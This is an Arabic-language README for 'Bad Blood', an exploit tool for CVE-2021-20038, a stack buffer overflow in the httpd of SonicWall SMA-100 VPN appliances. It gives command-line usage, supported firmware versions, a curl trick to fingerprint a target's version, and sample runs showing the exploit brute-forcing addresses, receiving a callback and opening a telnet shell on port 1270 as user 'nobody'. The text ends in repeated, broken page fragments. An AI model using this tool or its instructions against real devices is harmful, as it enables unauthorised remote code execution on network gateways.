Bad Blood

Bad Blood هو استغلال لـ CVE-2021-20038، وهو تجاوز سعة مخزن مؤقت قائم على المكدس في ثنائي httpd لأنظمة سلسلة SMA-100 التي تستخدم إصدارات البرامج الثابتة 10.2.1.x. لقد كتبت الكثير من التفاصيل التقنية هنا:

AttackerKB CVE-2021-20038

الاستغلال، كما هو مكتوب، سيفتح قشرة telnet مرتبطة على المنفذ 1270. المهاجم الذي يتصل بالقشرة سيحقق التنفيذ كمستخدم nobody.

مثال على المخرجات```

albinolobster@ubuntu:~~/badblood$ date Mon Jan 10 01:15:12 PM PST 2022 albinolobster@ubuntu:~~/badblood$ python3 badblood.py --rhost 10.0.0.7 --lhost 10.0.0.3 --rversion 10.2.1.2-24sv

▄▄▄▄ ▄▄▄ ▓█████▄ ▄▄▄▄ ██▓ ▒█████ ▒█████ ▓█████▄
▓█████▄ ▒████▄ ▒██▀ ██▌ ▓█████▄ ▓██▒ ▒██▒ ██▒▒██▒ ██▒▒██▀ ██▌
▒██▒ ▄██▒██ ▀█▄ ░██ █▌ ▒██▒ ▄██▒██░ ▒██░ ██▒▒██░ ██▒░██ █▌ ▒██░█▀ ░██▄▄▄▄██ ░▓█▄ ▌ ▒██░█▀ ▒██░ ▒██ ██░▒██ ██░░▓█▄ ▌ ░▓█ ▀█▓ ▓█ ▓██▒░▒████▓ ░▓█ ▀█▓░██████▒░ ████▓▒░░ ████▓▒░░▒████▓ ░▒▓███▀▒ ▒▒ ▓▒█░ ▒▒▓ ▒ ░▒▓███▀▒░ ▒░▓ ░░ ▒░▒░▒░ ░ ▒░▒░▒░ ▒▒▓ ▒ ▒░▒ ░ ▒ ▒▒ ░ ░ ▒ ▒ ▒░▒ ░ ░ ░ ▒ ░ ░ ▒ ▒░ ░ ▒ ▒░ ░ ▒ ▒
░ ░ ░ ▒ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ▒ ░ ░ ░ ▒ ░ ░ ░
░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░
░ ░ ░ ░

[+] Spinning up HTTP server [+] User did not provide an address. We'll guess it. [+] Generated 2047 base addresses [+] Generated 1046017 total addresses to search [+] Filtering addresses for double visits (thanks awesome payload!) [+] Filtered down to 235533 total addresses to search [+] Crashing all forks to reset stack to a semi-predicatable state [+] Crashing complete. Good job. Let's go do work. [+] Disabling stderr [+] Spawning 4 workers [+] Attempting to exploit the remote server. This might take quite some time. :eek: [%] Addresses Tested: 70% [] Received an HTTP callback from 10.0.0.7 at 10/Jan/2022 14:38:03 [] Now we got bad blood. Hey! 🦞 albinolobster@ubuntu:~/badblood$ telnet 10.0.0.7 1270 Trying 10.0.0.7... Connected to 10.0.0.7. Escape character is '^]'.

bash-4.2$ whoami nobody bash-4.2$ uname -a Linux sslvpn 3.13.3 #1 SMP Tue Oct 12 09:52:15 GMT 2021 i686 i686 i386 GNU/Linux bash-4.2$

## الإصدارات المدعومة

| الإصدار | مدعوم | تم اختباره | الهدف المُختبَر |
| - | - | - | - |
| 10.2.1.2-24sv | نعم | :heavy_check_mark: | SMA 500v ESX |
| 10.2.1.1-19sv | نعم | :heavy_check_mark: | SMA 500v ESX |
| 10.2.1.0-17sv | نعم | :heavy_check_mark: | SMA 500v ESX |

## الاستخدام

كحد أدنى، ستحتاج إلى توفير:

* rhost: عنوان IP الخاص بالمضيف البعيد
* lhost: عنوان IP الخاص بالمضيف المحلي
* version: إصدار الهدف.

يُرجى قراءة ملاحظات الاستقرار للحصول على سياق إضافي.

سؤال واضح يطرح نفسه: كيف يمكن الحصول على إصدار الهدف؟ طلب `curl` بسيط إلى الهدف سيكشف أنهم يستخدمون رقم الإصدار لترقيم ملفات `css` و `js`.```
albinolobster@ubuntu:~$ curl --insecure https://10.0.0.7/cgi-bin/welcome
...
<link href='/swl_login.10.2.1.2-24sv.css' type='text/css' rel='stylesheet'>
<link href='/swl_header.10.2.1.2-24sv.css' type='text/css' rel='stylesheet'>
<link href='/sma_content_overrides.10.2.1.2-24sv.css' type='text/css' rel='stylesheet'>
<link href='/sma_login_overrides.10.2.1.2-24sv.css' type='text/css' rel='stylesheet'>
<link href="/notificationbar.10.2.1.2-24sv.css" type="text/css" rel="stylesheet">
<script src="/js/jquery.10.2.1.2-24sv.js" type="text/javascript" charset="utf-8"></script>

وحدة Metasploit الخاصة بـ CVE-2021-20039 تقوم بتحليل هذا، لكنني لم أكن مستعدًا للقيام بذلك لهذا الاستغلال. لاحظ أنه إذا كنت تفحص بيئتك بحثًا عن هذه الأشياء، أعتقد أن "Server: SonicWall SSL-VPN Web Server" هو الأكثر موثوقية. حوالي 22 ألفًا في يناير 2022.

مخرجات المساعدة```

albinolobster@ubuntu:~/badblood$ python3 badblood.py --help

usage: badblood.py [-h] --rhost RHOST [--rport RPORT] --lhost LHOST [--rversion RVERSION] [--rhostname RHOSTNAME] [--supported-versions] [--workers WORKERS] [--nocrash] [--enable-stderr] [--addr ADDR] [--top-addr TOP_ADDR]

SonicWall SMA-100 Series Stack-Buffer Overflow Exploit (CVE-2021-20038)

optional arguments: -h, --help show this help message and exit --supported-versions The list of supported SMA-100 versions --workers WORKERS The number of workers to spew the exploit --nocrash Stops the exploit from sending a series of crash payload to start --enable-stderr Enable stderr for debugging --addr ADDR Test only. If you know the crash address, go wild. --top-addr TOP_ADDR Test only. If you know the stack's top address, go wild.

required arguments: --rhost RHOST The IPv4 address to connect to --rport RPORT The port to connect to --lhost LHOST The address to connect back to --rversion RVERSION The version of the remote target --rhostname RHOSTNAME The hostname of the remote target target

### --addr مقابل --top-addr مقابل عدم وجود خيار

هناك ثلاثة أوضاع رئيسية للتشغيل. الأول هو الوضع المتوقع (تخمين العناوين). الوضعان الثاني والثالث مخصصان في الغالب لأغراض الاختبار.

#### لا أعرف أي عناوين!

هذه هي الحالة الافتراضية ولا مشكلة! سنقوم فقط بتخمين الكثير.

#### أعرف عنوان قمة المكدس!

رائع! إذا كان بإمكانك استخدام cat على maps أو القيام ببعض السحر الآخر:```
bfa29000-bfa4a000 rw-p 00000000 00:00 0          [stack]

يمكنك استخدام المعامل --top_addr وتقليل وقت الهجوم إلى بضع ثوانٍ فقط!``` albinolobster@ubuntu:~~/badblood$ date Mon Jan 10 05:42:19 PM PST 2022 albinolobster@ubuntu:~~/badblood$ python3 badblood.py --rhost 10.0.0.7 --lhost 10.0.0.3 --rversion 10.2.1.2-24sv --top-addr 3215237120

badblood

الأكثر شعبية

Bad Blood

مثال على المخرجات```

مخرجات المساعدة```